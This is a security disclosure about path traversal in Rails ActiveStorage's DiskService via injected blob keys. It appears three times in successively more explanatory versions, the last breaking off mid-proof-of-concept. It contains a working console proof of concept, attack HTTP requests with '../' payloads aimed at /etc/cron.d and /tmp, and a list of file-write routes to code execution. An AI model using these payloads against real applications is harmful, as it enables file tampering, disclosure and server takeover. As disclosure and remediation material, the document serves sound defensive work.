ActiveStorage Disk Service Path Traversal via Custom Blob Key Injection
ActiveStorage's DiskService builds file paths from blob keys without checking for traversal sequences, and the Hash attachable interface forwards a user-supplied key straight through to the blob without filtering. An attacker who can influence that Hash could write, read or delete files outside the storage root, potentially leading to code execution.
- Triaged in 38 hours
- Fixed in 36 days
- Disclosed after 2 months
ActiveStorage Disk Service Path Traversal via Custom Blob Key Injection
Summary
ActiveStorage's DiskService#path_for does not validate or sanitize blob keys before constructing file paths. Combined with the Hash attachable interface — which passes user-supplied key: values directly to Blob.build_after_unfurling without filtering — an attacker who can influence the Hash passed to .attach() can achieve arbitrary file write, read, and delete on the server's filesystem.
The key: parameter is a documented feature intended for S3 folder organization, making it likely that developers will incorporate user input into key construction.
Severity: High (CVSS 8.1 estimated — depends on application-level exposure)
Affected component: activestorage (DiskService)
Affected versions: All current Rails versions using ActiveStorage with DiskService
Vulnerability Details
1. Hash Attachable Splats All Keys Without Filtering
activestorage/lib/active_storage/attached/changes/create_one.rb:82-88:
when Hash
ActiveStorage::Blob.build_after_unfurling(
**attachable.reverse_merge(
record: record,
service_name: attachment_service_name
).symbolize_keys
)
When a Hash is passed to .attach(), every key-value pair — including key: — is forwarded to Blob.build_after_unfurling via ** splat.
2. build_after_unfurling Accepts and Stores Arbitrary Keys
activestorage/app/models/active_storage/blob.rb:86-89:
def build_after_unfurling(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil)
new(key: key, filename: filename, content_type: content_type, metadata: metadata, service_name: service_name).tap do |blob|
blob.unfurl(io, identify: identify)
end
end
A non-nil key: value is passed directly to ActiveStorage::Blob.new.
3. has_secure_token Does Not Overwrite Pre-Set Keys
activerecord/lib/active_record/secure_token.rb:73-77:
set_callback on, on == :initialize ? :after : :before do
if new_record? && !query_attribute(attribute)
send("#{attribute}=", generate_token.call)
end
end
The has_secure_token :key callback on ActiveStorage::Blob only generates a secure random key when the attribute is blank. If a key is already set via the constructor, the callback is a no-op. The custom key getter (blob.rb:176-179) also preserves existing values via self[:key] ||= ....
4. DiskService#path_for Has No Path Traversal Protection
activestorage/lib/active_storage/service/disk_service.rb:101-103, 155-157:
def path_for(key)
File.join root, folder_for(key), key
end
def folder_for(key)
[ key[0..1], key[2..3] ].join("/")
end
File.join does not sanitize ../ sequences. There is no validation that the resolved path remains within root. A key like ../../etc/cron.d/evil produces a path that escapes the storage directory.
5. No Key Format Validation on the Blob Model
ActiveStorage::Blob has zero validation on the key attribute:
validates :service_name, presence: true
validates :checksum, presence: true, unless: :composed
# No validates :key, format: ...
The only constraint is the database-level NOT NULL and UNIQUE index, neither of which prevent path traversal characters.
Attack Chain
Attacker-controlled input
↓
Hash passed to model.file.attach({ ..., key: "../../malicious" })
↓
create_one.rb: **splat passes key: to build_after_unfurling
↓
blob.rb: Blob.new(key: "../../malicious", ...) — key stored as-is
↓
secure_token.rb: callback sees key is present, skips generation
↓
disk_service.rb: path_for("../../malicious")
→ File.join(root, folder_for(key), key)
→ escapes storage root directory
↓
upload/download/delete operates on arbitrary filesystem path
Exploitation Scenarios
Scenario A: JSON API with User-Specified Storage Path
The official Rails guide documents using key: for S3 folder organization. A developer building an API may extend this pattern to allow user-specified paths:
class Api::V1::DocumentsController < ApiController
def create
file = decode_base64_upload(params[:file_data])
@project.documents.attach(
io: file,
filename: params[:filename],
content_type: params[:content_type],
key: "projects/#{@project.id}/#{params[:path]}" # user input in key
)
render json: { status: "uploaded" }
end
end
Attack request:
POST /api/v1/documents HTTP/1.1
Content-Type: application/json
{
"file_data": "KiBldmlsIGNyb250YWIgZW50cnkK",
"filename": "notes.txt",
"content_type": "text/plain",
"path": "../../../../etc/cron.d/backdoor"
}
Result: The uploaded content is written to /etc/cron.d/backdoor (if the process has permissions), achieving Remote Code Execution via cron.
Scenario B: Hash Attachable with Unsanitized Params
A developer permits the key parameter through Strong Parameters, following the guide's documented feature:
class AssetsController < ApplicationController
def create
current_user.avatar.attach(avatar_params.merge(io: params[:file].tempfile))
end
private
def avatar_params
params.require(:avatar).permit(:filename, :content_type, :key)
end
end
Attack request:
POST /assets HTTP/1.1
Content-Type: multipart/form-data
avatar[filename]=photo.jpg
avatar[content_type]=image/jpeg
avatar[key]=../../../../../../tmp/malicious_payload
[email protected]
Result: Arbitrary file write to /tmp/malicious_payload.
Scenario C: Nested Attributes / Model Assignment
When has_one_attached generates an attribute setter, Hash values flow through the vulnerable path:
class User < ApplicationRecord
has_one_attached :avatar
end
class UsersController < ApplicationController
def update
@user.update!(user_params)
end
private
def user_params
params.require(:user).permit(:name, avatar: {}) # permissive Hash permit
end
end
A JSON request body like { "user": { "avatar": { "io": ..., "filename": "x.jpg", "key": "../../sensitive" } } } would inject the key through the model assignment path.
Scenario D: Arbitrary File Read via Download
Once a blob with a malicious key is persisted, any subsequent blob.download call reads from the traversed path:
# After malicious blob is saved with key: "../../etc/passwd"
blob = ActiveStorage::Blob.find(malicious_blob_id)
content = blob.download # reads /etc/passwd via DiskService
If the application exposes blob content through any controller (the default BlobsController, custom download endpoints, etc.), the attacker can read arbitrary files.
Scenario E: Arbitrary File Delete via Purge
# Blob with key: "../../important_app_config.yml"
blob.purge # calls service.delete(key) → File.delete(path_for(key))
Deleting the blob (via purge, or automatic cleanup of unattached blobs) deletes the traversed file path.
Proof of Concept
Minimal reproduction in a Rails console with DiskService configured:
# 1. Demonstrate that a malicious key bypasses has_secure_token
blob = ActiveStorage::Blob.build_after_unfurling(
key: "../../traversal_test",
io: StringIO.new("pwned"),
filename: "test.txt"
)
puts blob.key # => "../../traversal_test" (not a secure random token)
# 2. Demonstrate path_for escapes root
service = ActiveStorage::Blob.service # DiskService instance
puts service.path_for("../../traversal_test")
# => "/rails/storage/../../tr/../../traversal_test"
# Resolves to a path outside /rails/storage/
# 3. Demonstrate via attach (simulating application code)
user = User.new(name: "test")
user.avatar.attach(
io: StringIO.new("arbitrary content"),
filename: "innocent.txt",
key: "../../tmp/activestorage_poc_#{SecureRandom.hex(4)}"
)
user.save!
# Verify file was written outside storage root
poc_key = user.avatar.blob.key
resolved = File.expand_path(service.path_for(poc_key))
storage_root = File.expand_path(service.root)
puts "Key: #{poc_key}"
puts "Resolved path: #{resolved}"
puts "Escaped root?: #{!resolved.start_with?(storage_root)}" # => true
Suggested Remediation
Option A: Validate Key Format on the Blob Model (Recommended)
Add a validation that rejects keys containing path traversal characters:
# activestorage/app/models/active_storage/blob.rb
validates :key, format: {
with: /\A[a-zA-Z0-9\-_]+\z/,
message: "contains invalid characters"
}
Option B: Sanitize in DiskService#path_for
Verify the resolved path stays within the root directory:
# activestorage/lib/active_storage/service/disk_service.rb
def path_for(key)
path = File.join(root, folder_for(key), key)
full_path = File.expand_path(path)
raise ArgumentError, "key escapes storage root" unless full_path.start_with?(File.expand_path(root))
full_path
end
Option C: Strip key from Hash Attachable
Prevent the key: parameter from being accepted through the Hash attachable path:
# activestorage/lib/active_storage/attached/changes/create_one.rb
when Hash
ActiveStorage::Blob.build_after_unfurling(
**attachable.except(:key, "key").reverse_merge(
record: record,
service_name: attachment_service_name
).symbolize_keys
)
A combination of Options A and B provides defense-in-depth.
References
activestorage/lib/active_storage/service/disk_service.rb:101-103—path_for(no sanitization)activestorage/lib/active_storage/attached/changes/create_one.rb:82-88— Hash splatactivestorage/app/models/active_storage/blob.rb:86-89—build_after_unfurlingacceptskey:activerecord/lib/active_record/secure_token.rb:73-77— conditional token generation- Rails Guide: Attaching File/IO Objects — documents
key:parameter usage
Impact
Impact
| Operation | DiskService Method | Primitive |
|---|---|---|
upload |
IO.copy_stream(io, make_path_for(key)) |
Arbitrary file write + directory creation via mkdir_p |
download |
File.binread path_for(key) |
Arbitrary file read |
delete |
File.delete path_for(key) |
Arbitrary file delete |
delete_prefixed |
Dir.glob(path_for("#{prefix}*")) + rm_rf |
Glob-based mass delete |
exist? |
File.exist? path_for(key) |
File existence oracle |
With arbitrary file write, an attacker can achieve Remote Code Execution by writing to:
- Cron directories (
/etc/cron.d/) - SSH authorized keys (
~/.ssh/authorized_keys) - Application initializers or configuration files
- Puma/Unicorn restart-watched files
Who Is Affected
- Applications using DiskService (default in development; used in production for small/single-server deployments and on-premises environments)
- Applications where any user input flows into the Hash passed to
.attach(), particularly thekey:field - The official guide's documented
key:pattern encourages developers to construct keys from dynamic values, increasing the likelihood of user input reaching this code path
Context
ActiveStorage is the file attachment layer of Ruby on Rails. When an application calls .attach() on a model attribute, ActiveStorage builds an ActiveStorage::Blob record that describes the file, then hands the blob to a storage service. The default service in development, and a common choice in production for small or single-server deployments, is DiskService, which stores files under a configured root directory and derives each file's location from the blob's key.
The key is normally a secure random token generated by has_secure_token. The Hash attachable interface, however, also accepts a key: value supplied by the caller. The Rails guide documents key: as a way to organise files into folders on S3, which makes it plausible that developers will build keys from dynamic, sometimes user-controlled, values.
The report argues that this combination lets an attacker who can influence the Hash passed to .attach() write, read and delete arbitrary files on the server. The affected component is activestorage (DiskService), and the report states that all current Rails versions using ActiveStorage with DiskService are affected. The researcher rates it High with an estimated CVSS of 8.1, noting that the real severity depends on application-level exposure. The platform records it as medium with a CVSS of 6.5.
Setup
The proof of concept runs in a Rails console with DiskService configured. No accounts, roles or special tooling are involved: the reproduction uses ActiveStorage::Blob.build_after_unfurling, the configured ActiveStorage::Blob.service, and a model with has_one_attached :avatar. The exploitation scenarios assume an application that passes user input into the Hash given to .attach(), either directly or through Strong Parameters.
Finding it
The researcher traced the path a Hash takes from .attach() down to the filesystem and found that nothing along the way validates the key. Five separate observations make up the finding.
1. Hash attachable splats all keys without filtering
activestorage/lib/active_storage/attached/changes/create_one.rb:82-88:
when Hash
ActiveStorage::Blob.build_after_unfurling(
**attachable.reverse_merge(
record: record,
service_name: attachment_service_name
).symbolize_keys
)
When a Hash is passed to .attach(), every key-value pair, including key:, is forwarded to Blob.build_after_unfurling via the ** splat.
2. build_after_unfurling accepts and stores arbitrary keys
activestorage/app/models/active_storage/blob.rb:86-89:
def build_after_unfurling(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil)
new(key: key, filename: filename, content_type: content_type, metadata: metadata, service_name: service_name).tap do |blob|
blob.unfurl(io, identify: identify)
end
end
A non-nil key: value is passed directly to ActiveStorage::Blob.new.
3. has_secure_token does not overwrite pre-set keys
activerecord/lib/active_record/secure_token.rb:73-77:
set_callback on, on == :initialize ? :after : :before do
if new_record? && !query_attribute(attribute)
send("#{attribute}=", generate_token.call)
end
end
The has_secure_token :key callback on ActiveStorage::Blob only generates a secure random key when the attribute is blank. If a key is already set through the constructor, the callback does nothing. The custom key getter (blob.rb:176-179) likewise preserves existing values via self[:key] ||= ....
4. DiskService#path_for has no path traversal protection
activestorage/lib/active_storage/service/disk_service.rb:101-103, 155-157:
def path_for(key)
File.join root, folder_for(key), key
end
def folder_for(key)
[ key[0..1], key[2..3] ].join("/")
end
File.join does not sanitise ../ sequences, and there is no check that the resolved path stays inside root. A key such as ../../etc/cron.d/evil produces a path that escapes the storage directory.
5. No key format validation on the blob model
ActiveStorage::Blob has no validation on the key attribute at all:
validates :service_name, presence: true
validates :checksum, presence: true, unless: :composed
# No validates :key, format: ...
The only constraints are the database-level NOT NULL and UNIQUE index, and neither prevents path traversal characters.
Exploitation
The full chain, as the report lays it out:
Attacker-controlled input
↓
Hash passed to model.file.attach({ ..., key: "../../malicious" })
↓
create_one.rb: **splat passes key: to build_after_unfurling
↓
blob.rb: Blob.new(key: "../../malicious", ...) — key stored as-is
↓
secure_token.rb: callback sees key is present, skips generation
↓
disk_service.rb: path_for("../../malicious")
→ File.join(root, folder_for(key), key)
→ escapes storage root directory
↓
upload/download/delete operates on arbitrary filesystem path
Step 1: Confirm the key bypasses has_secure_token
The first part of the proof of concept builds a blob with a traversal key and prints the stored key:
# 1. Demonstrate that a malicious key bypasses has_secure_token
blob = ActiveStorage::Blob.build_after_unfurling(
key: "../../traversal_test",
io: StringIO.new("pwned"),
filename: "test.txt"
)
puts blob.key # => "../../traversal_test" (not a secure random token)
The output shows the supplied key is kept verbatim instead of being replaced by a random token.
Step 2: Confirm path_for escapes the root
# 2. Demonstrate path_for escapes root
service = ActiveStorage::Blob.service # DiskService instance
puts service.path_for("../../traversal_test")
# => "/rails/storage/../../tr/../../traversal_test"
# Resolves to a path outside /rails/storage/
The folder_for helper slices the first four characters of the key into two directory components, and File.join then appends the key itself. The resulting string contains ../ segments and resolves outside the storage root.
Step 3: Confirm the write through .attach()
The third part simulates application code attaching a file with an attacker-chosen key:
# 3. Demonstrate via attach (simulating application code)
user = User.new(name: "test")
user.avatar.attach(
io: StringIO.new("arbitrary content"),
filename: "innocent.txt",
key: "../../tmp/activestorage_poc_#{SecureRandom.hex(4)}"
)
user.save!
# Verify file was written outside storage root
poc_key = user.avatar.blob.key
resolved = File.expand_path(service.path_for(poc_key))
storage_root = File.expand_path(service.root)
puts "Key: #{poc_key}"
puts "Resolved path: #{resolved}"
puts "Escaped root?: #{!resolved.start_with?(storage_root)}" # => true
The final check compares the expanded path with the expanded storage root and reports that the file landed outside it.
Scenario A: JSON API with a user-specified storage path
The guide documents key: for S3 folder organisation. A developer building an API may extend that pattern to user-specified paths:
class Api::V1::DocumentsController < ApiController
def create
file = decode_base64_upload(params[:file_data])
@project.documents.attach(
io: file,
filename: params[:filename],
content_type: params[:content_type],
key: "projects/#{@project.id}/#{params[:path]}" # user input in key
)
render json: { status: "uploaded" }
end
end
The attack request:
POST /api/v1/documents HTTP/1.1
Content-Type: application/json
{
"file_data": "KiBldmlsIGNyb250YWIgZW50cnkK",
"filename": "notes.txt",
"content_type": "text/plain",
"path": "../../../../etc/cron.d/backdoor"
}
The path value is concatenated into the key, and the traversal segments climb out of the storage root. The report states that the uploaded content is written to /etc/cron.d/backdoor if the process has the necessary permissions, which yields remote code execution through cron.
Scenario B: Hash attachable with unsanitised params
Here the developer permits the key parameter through Strong Parameters, following the documented feature:
class AssetsController < ApplicationController
def create
current_user.avatar.attach(avatar_params.merge(io: params[:file].tempfile))
end
private
def avatar_params
params.require(:avatar).permit(:filename, :content_type, :key)
end
end
The attack request:
POST /assets HTTP/1.1
Content-Type: multipart/form-data
avatar[filename]=photo.jpg
avatar[content_type]=image/jpeg
avatar[key]=../../../../../../tmp/malicious_payload
[email protected]
The permitted key reaches .attach() inside the Hash and is splatted through to the blob. The result is an arbitrary file write to /tmp/malicious_payload.
Scenario C: Nested attributes and model assignment
When has_one_attached generates an attribute setter, Hash values flow through the same vulnerable path:
class User < ApplicationRecord
has_one_attached :avatar
end
class UsersController < ApplicationController
def update
@user.update!(user_params)
end
private
def user_params
params.require(:user).permit(:name, avatar: {}) # permissive Hash permit
end
end
A JSON body such as { "user": { "avatar": { "io": ..., "filename": "x.jpg", "key": "../../sensitive" } } } injects the key through the model assignment path.
Scenario D: Arbitrary file read via download
Once a blob with a malicious key is persisted, any later blob.download reads from the traversed path:
# After malicious blob is saved with key: "../../etc/passwd"
blob = ActiveStorage::Blob.find(malicious_blob_id)
content = blob.download # reads /etc/passwd via DiskService
If the application exposes blob content through any controller, such as the default BlobsController or a custom download endpoint, the attacker can read arbitrary files.
Scenario E: Arbitrary file delete via purge
# Blob with key: "../../important_app_config.yml"
blob.purge # calls service.delete(key) → File.delete(path_for(key))
Purging the blob, or automatic cleanup of unattached blobs, deletes the traversed file path.
Root cause
The defect is a missing trust boundary between the caller-supplied key and the filesystem path derived from it. Each layer assumes another has validated the key:
- The Hash attachable forwards every key in the Hash, including
key:, without filtering. build_after_unfurlingacceptskey:and passes it toBlob.newunchanged.has_secure_tokenonly fills in a key when the attribute is blank, so a pre-set key survives.DiskService#path_forjoins the root, the folder prefix and the key withFile.join, which does not sanitise../.- The blob model has no format validation on
key; the databaseNOT NULLandUNIQUEconstraints do not restrict characters.
The documented key: feature encourages developers to construct keys from dynamic values, which increases the likelihood that user input reaches this path. The report notes that the severity depends on application-level exposure: the framework flaw only becomes exploitable when an application lets user input into the Hash passed to .attach().
Impact
The report maps each DiskService operation to a primitive:
| Operation | DiskService Method | Primitive |
|---|---|---|
upload |
IO.copy_stream(io, make_path_for(key)) |
Arbitrary file write + directory creation via mkdir_p |
download |
File.binread path_for(key) |
Arbitrary file read |
delete |
File.delete path_for(key) |
Arbitrary file delete |
delete_prefixed |
Dir.glob(path_for("#{prefix}*")) + rm_rf |
Glob-based mass delete |
exist? |
File.exist? path_for(key) |
File existence oracle |
With arbitrary file write, the report says an attacker can achieve remote code execution by writing to cron directories (/etc/cron.d/), SSH authorised keys (~/.ssh/authorized_keys), application initialisers or configuration files, and Puma/Unicorn restart-watched files. These outcomes depend on the permissions of the process running the application.
Who is affected, per the report:
- Applications using DiskService, which is the default in development and is used in production for small or single-server deployments and on-premises environments.
- Applications where any user input flows into the Hash passed to
.attach(), particularly thekey:field. - The guide's documented
key:pattern encourages constructing keys from dynamic values, which increases the likelihood of user input reaching this code path.
Fix
The report proposes three options and notes that a combination of A and B provides defence in depth.
Option A: Validate key format on the blob model (recommended)
# activestorage/app/models/active_storage/blob.rb
validates :key, format: {
with: /\A[a-zA-Z0-9\-_]+\z/,
message: "contains invalid characters"
}
Option B: Sanitise in DiskService#path_for
Verify that the resolved path stays within the root directory:
# activestorage/lib/active_storage/service/disk_service.rb
def path_for(key)
path = File.join(root, folder_for(key), key)
full_path = File.expand_path(path)
raise ArgumentError, "key escapes storage root" unless full_path.start_with?(File.expand_path(root))
full_path
end
Option C: Strip key from the Hash attachable
Prevent the key: parameter from being accepted through the Hash attachable path:
# activestorage/lib/active_storage/attached/changes/create_one.rb
when Hash
ActiveStorage::Blob.build_after_unfurling(
**attachable.except(:key, "key").reverse_merge(
record: record,
service_name: attachment_service_name
).symbolize_keys
)
Variants to test
- Permitted
keyin Strong Parameters. Look for controllers that permit:keyinside an attachment Hash. A positive result is a stored blob whosekeycontains../and whose file lands outside the storage root. - Keys built from path parameters. Look for code that interpolates a request parameter into a key string, as in Scenario A. A positive result is a write to a path outside the root, confirmed by comparing
File.expand_path(service.path_for(key))withFile.expand_path(service.root). - Nested attribute assignment. Look for
has_one_attachedorhas_many_attachedmodels updated with a permissive Hash permit such asavatar: {}. A positive result is a blob created with an attacker-chosen key through a normalupdaterequest. - Read through download endpoints. Once a malicious blob exists, request it through the default
BlobsControlleror any custom download action. A positive result is the contents of a file outside the storage root. - Delete through purge or cleanup. Trigger
purgeor unattached-blob cleanup on a malicious blob. A positive result is the removal of a file outside the storage root. - Existence oracle. Use
exist?with traversal keys to probe for files on the server. A positive result is a difference in behaviour between existing and non-existing paths. - Glob-based mass delete. Exercise
delete_prefixedwith a prefix that traverses out of the root. A positive result is the removal of multiple files outside the storage root.
What happened, in plain words
A security researcher found a way to make a common piece of software, Ruby on Rails, save, read and delete files outside the folder where uploaded files are supposed to live, when an application passes user input into the upload code. The trick is a small piece of text in a file name, the two dots and a slash (../), which on almost every computer means "go up one folder". If a web application lets a visitor influence one particular value, called the key, the visitor can use those two dots to climb out of the storage folder and reach the rest of the machine.
Ruby on Rails is a toolkit that many websites are built with. One of its parts, ActiveStorage, handles file uploads: profile pictures, documents, attachments. ActiveStorage normally saves files on the server's disk in a folder it controls, and it gives each file a random name, called a key, so that files cannot collide or be guessed. The report shows that if an application passes a key chosen by the visitor into the upload code, the random name is skipped and the visitor's text is used as the file path, which can escape the storage folder.
The researcher rates this High with an estimated CVSS of 8.1, while noting that the real severity depends on how each application is built. The affected component is activestorage (DiskService), and the report states that all current Rails versions using ActiveStorage with DiskService are affected.
Some background before the details
A few ideas come up again and again, so here they are from zero.
A server is just a computer somewhere that answers requests from browsers. When you open a website, your browser asks the server for a page, and the server sends it back.
A file path is the address of a file on that computer, like a postal address. On Linux and macOS, folders are separated by slashes, so /home/app/storage/ab/cd/myfile.txt means: start at the top of the disk, go into home, then app, then storage, and so on. The leading slash means "start from the very top".
The two dots (..) are a special folder name meaning "the folder above this one". If you are in /home/app/storage and you refer to ../, you are now in /home/app. Repeat it and you climb higher. This is completely normal and useful for humans, but it is dangerous when a program builds a path out of text it did not write itself.
Path traversal is the name of the attack that abuses those two dots. The attacker supplies a path containing ../ so that a program which meant to stay inside one folder ends up somewhere else. Think of a hotel clerk told to fetch "the folder two doors down from room 12". If the clerk follows the instruction literally, they might walk past the lobby and into the manager's office. The clerk trusted the instruction; the program trusted the input.
An API (Application Programming Interface) is a way for one program to talk to another over the network, usually by sending structured data and getting structured data back. A website's API is often what a mobile app or a script talks to, rather than a human clicking buttons. When the report shows an HTTP request to /api/v1/documents, that is a program sending data to the server's API.
A token is a short string of characters that stands in for something else. In security it usually means a value that is hard to guess, generated at random, so that nobody can predict it. ActiveStorage uses a token as the file's name on disk. If the name is random, an attacker cannot guess where a file is, and two files will not overwrite each other.
A blob is the technical word ActiveStorage uses for "a file we are storing". A blob record in the database describes the file: its name, its type, its size, and its key, which is the name it has on disk.
A hash (in Ruby, and in many programming languages) is a collection of labelled values, like a form with fields. { filename: "photo.jpg", content_type: "image/jpeg" } is a hash with two fields. The label is called a key and the value is called a value. Confusingly, ActiveStorage also calls the file's storage name a "key". In this article, when I say "the key: field" I mean the storage name inside the hash.
Strong Parameters is a Rails feature that decides which fields from a web request are allowed through to the application. It is a bouncer at the door: only names on the list get in. If a developer puts :key on the list, the visitor's key gets in.
CVSS is a scoring system for the severity of a security flaw, from 0 to 10. Higher is worse.
Remote Code Execution (RCE) means an attacker can make the server run programs of their choosing. It is usually the worst outcome, because from there the attacker can do almost anything the server's user account can do.
Cron is a scheduler on Linux that runs commands at set times. It reads files in /etc/cron.d/ to know what to run. If an attacker can write a file there, they can arrange for their own command to run later, which is one common route to RCE.
The setup
The proof of concept runs in a Rails console with DiskService configured. A Rails console is an interactive prompt where a developer can type Ruby code and run it against the application, a bit like a calculator that also has access to the application's database and files. No accounts, roles or special tooling are involved: the reproduction uses ActiveStorage::Blob.build_after_unfurling, the configured ActiveStorage::Blob.service, and a model with has_one_attached :avatar.
A model in Rails is a Ruby class that represents a table in the database, for example a User. has_one_attached :avatar is a one-line declaration that says "a user can have one attached file called avatar", and Rails generates the code to attach, store and retrieve it.
The exploitation scenarios assume an application that passes user input into the Hash given to .attach(), either directly or through Strong Parameters.
Finding it
The researcher traced the path a Hash takes from .attach() down to the filesystem and found that nothing along the way validates the key. Five separate observations make up the finding. I will go through them in order, because each one is a link in the chain.
1. Hash attachable splats all keys without filtering
The first stop is the code that handles a Hash passed to .attach(), at activestorage/lib/active_storage/attached/changes/create_one.rb:82-88:
when Hash
ActiveStorage::Blob.build_after_unfurling(
**attachable.reverse_merge(
record: record,
service_name: attachment_service_name
).symbolize_keys
)
Line by line:
when Hashmeans "if what was passed to.attach()is a Hash (a labelled collection of values), do the following".ActiveStorage::Blob.build_after_unfurling(starts building a blob record. The name means "build the blob, then unfurl (unpack) the file data into it".**attachableis the important part. The double star is Ruby's "splat" operator for hashes: it takes every key-value pair in the hash and passes them as separate named arguments. Nothing is filtered. If the hash containskey:, thenkey:is passed along..reverse_merge(record: record, service_name: attachment_service_name)adds default values forrecordandservice_name, but only where the caller did not already supply them. It does not remove anything the caller supplied..symbolize_keysturns text labels like"key"into symbol labels like:key, so that they match the argument names the method expects.
When a Hash is passed to .attach(), every key-value pair, including key:, is forwarded to Blob.build_after_unfurling via the ** splat. The first link in the chain is that the upload code accepts whatever labels the caller puts in the hash.
2. build_after_unfurling accepts and stores arbitrary keys
The next stop is the method that receives those arguments, at activestorage/app/models/active_storage/blob.rb:86-89:
def build_after_unfurling(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil)
new(key: key, filename: filename, content_type: content_type, metadata: metadata, service_name: service_name).tap do |blob|
blob.unfurl(io, identify: identify)
end
end
Line by line:
def build_after_unfurling(...)declares the method and lists the named arguments it accepts.key: nilmeans thekeyargument is optional and defaults to nothing (nil).io:andfilename:have no default, so they are required.new(key: key, filename: filename, ...)creates a new blob object, passing thekeystraight through. If the caller supplied a key, it is used as-is..tap do |blob| ... endis a Ruby idiom that runs the block and then returns the object, so the method returns the blob.blob.unfurl(io, identify: identify)reads the file data fromio(the input/output object holding the uploaded bytes) and stores it.
A non-nil key: value is passed directly to ActiveStorage::Blob.new. The second link is that the blob object is created with whatever key the caller supplied, with no check on its contents.
3. has_secure_token does not overwrite pre-set keys
You might expect Rails to replace any supplied key with a fresh random one. It does not, and the reason is in activerecord/lib/active_record/secure_token.rb:73-77:
set_callback on, on == :initialize ? :after : :before do
if new_record? && !query_attribute(attribute)
send("#{attribute}=", generate_token.call)
end
end
Line by line:
set_callback on, ...registers a piece of code to run at a particular moment in the object's life.on == :initialize ? :after : :beforepicks whether it runs after or before the object is initialised, depending on which callback was requested.if new_record? && !query_attribute(attribute)is the condition.new_record?means "this object has not been saved to the database yet".query_attribute(attribute)reads the current value of the attribute (here, the key). The!means "not", so the whole condition reads: "if this is a new record and the key is empty".send("#{attribute}=", generate_token.call)sets the attribute to a freshly generated random token.sendcalls a method by name, andgenerate_token.callproduces the random value.
The has_secure_token :key callback on ActiveStorage::Blob only generates a secure random key when the attribute is blank. If a key is already set through the constructor, the callback does nothing. The custom key getter (blob.rb:176-179) likewise preserves existing values via self[:key] ||= .... The third link is that the safety net which would have replaced the attacker's key with a random one simply does not fire, because the key is not blank.
4. DiskService#path_for has no path traversal protection
Now the key reaches the code that turns it into a real file path, at activestorage/lib/active_storage/service/disk_service.rb:101-103, 155-157:
def path_for(key)
File.join root, folder_for(key), key
end
def folder_for(key)
[ key[0..1], key[2..3] ].join("/")
end
Line by line:
def path_for(key)declares a method that takes a key and returns the file path for it.File.join root, folder_for(key), keyglues together three pieces with slashes: the configured storage root (the folder where files are supposed to live), a two-level subfolder derived from the key, and the key itself.def folder_for(key)declares a helper that works out the subfolder.[ key[0..1], key[2..3] ].join("/")takes the first two characters of the key, then the next two, and joins them with a slash. So a key startingabcdbecomes the subfolderab/cd. This spreads files across many folders so that no single folder holds millions of files.
File.join does not sanitise ../ sequences, and there is no check that the resolved path stays inside root. A key such as ../../etc/cron.d/evil produces a path that escapes the storage directory. The fourth link is that the final assembly of the path trusts the key completely.
5. No key format validation on the blob model
Finally, the blob model itself has no rule about what a key may contain:
validates :service_name, presence: true
validates :checksum, presence: true, unless: :composed
# No validates :key, format: ...
Line by line:
validates :service_name, presence: truesays the service name must be present before the record can be saved.validates :checksum, presence: true, unless: :composedsays the checksum must be present, unless the blob is composed (built from other blobs).- The comment
# No validates :key, format: ...points out what is missing: there is no rule saying the key must match a particular pattern.
ActiveStorage::Blob has no validation on the key attribute at all. The only constraints are the database-level NOT NULL and UNIQUE index, and neither prevents path traversal characters. NOT NULL just means "the value cannot be empty"; UNIQUE means "no two rows may have the same value". Neither cares whether the value contains dots and slashes. The fifth link is that nothing at the model level rejects a suspicious key.
Exploitation
The full chain, as the report lays it out:
Attacker-controlled input
↓
Hash passed to model.file.attach({ ..., key: "../../malicious" })
↓
create_one.rb: **splat passes key: to build_after_unfurling
↓
blob.rb: Blob.new(key: "../../malicious", ...) — key stored as-is
↓
secure_token.rb: callback sees key is present, skips generation
↓
disk_service.rb: path_for("../../malicious")
→ File.join(root, folder_for(key), key)
→ escapes storage root directory
↓
upload/download/delete operates on arbitrary filesystem path
Read it top to bottom: the attacker's text enters through the hash, is passed along by the splat, stored unchanged by the blob, left alone by the token callback, and finally turned into a path that climbs out of the storage folder. Each arrow is one of the five observations above.
Step 1: Confirm the key bypasses has_secure_token
The first part of the proof of concept builds a blob with a traversal key and prints the stored key:
# 1. Demonstrate that a malicious key bypasses has_secure_token
blob = ActiveStorage::Blob.build_after_unfurling(
key: "../../traversal_test",
io: StringIO.new("pwned"),
filename: "test.txt"
)
puts blob.key # => "../../traversal_test" (not a secure random token)
Line by line:
- The comment says what the step is for: showing that a malicious key gets past the token generator.
blob = ActiveStorage::Blob.build_after_unfurling(calls the method from observation 2 and stores the result in a variable calledblob.key: "../../traversal_test"supplies the key. The two dots and slash mean "go up two folders".io: StringIO.new("pwned")supplies the file contents.StringIOis a Ruby object that behaves like a file but lives in memory, so no real file is needed for this step. The contents are the wordpwned.filename: "test.txt"supplies a harmless-looking name.puts blob.keyprints the key that was actually stored.- The comment
# => "../../traversal_test" (not a secure random token)shows the expected output.
The output shows the supplied key is kept verbatim instead of being replaced by a random token. This step matters because it isolates the token behaviour: before looking at file paths, the researcher proves that the safety net does not fire.
Step 2: Confirm path_for escapes the root
# 2. Demonstrate path_for escapes root
service = ActiveStorage::Blob.service # DiskService instance
puts service.path_for("../../traversal_test")
# => "/rails/storage/../../tr/../../traversal_test"
# Resolves to a path outside /rails/storage/
Line by line:
- The comment says the step shows that
path_forproduces a path outside the storage root. service = ActiveStorage::Blob.servicefetches the configured storage service. The comment notes it is a DiskService instance, the class that stores files on the local disk.puts service.path_for("../../traversal_test")asks the service for the path of that key and prints it.- The comment
# => "/rails/storage/../../tr/../../traversal_test"shows the string that comes back./rails/storageis the storage root; the rest is the folder prefix and the key, glued on. - The comment
# Resolves to a path outside /rails/storage/explains what that string means once the operating system interprets the two dots.
The folder_for helper slices the first four characters of the key into two directory components, and File.join then appends the key itself. The resulting string contains ../ segments and resolves outside the storage root. This step matters because it shows the escape happens at the path-building stage, before any file is actually written.
Step 3: Confirm the write through .attach()
The third part simulates application code attaching a file with an attacker-chosen key:
# 3. Demonstrate via attach (simulating application code)
user = User.new(name: "test")
user.avatar.attach(
io: StringIO.new("arbitrary content"),
filename: "innocent.txt",
key: "../../tmp/activestorage_poc_#{SecureRandom.hex(4)}"
)
user.save!
# Verify file was written outside storage root
poc_key = user.avatar.blob.key
resolved = File.expand_path(service.path_for(poc_key))
storage_root = File.expand_path(service.root)
puts "Key: #{poc_key}"
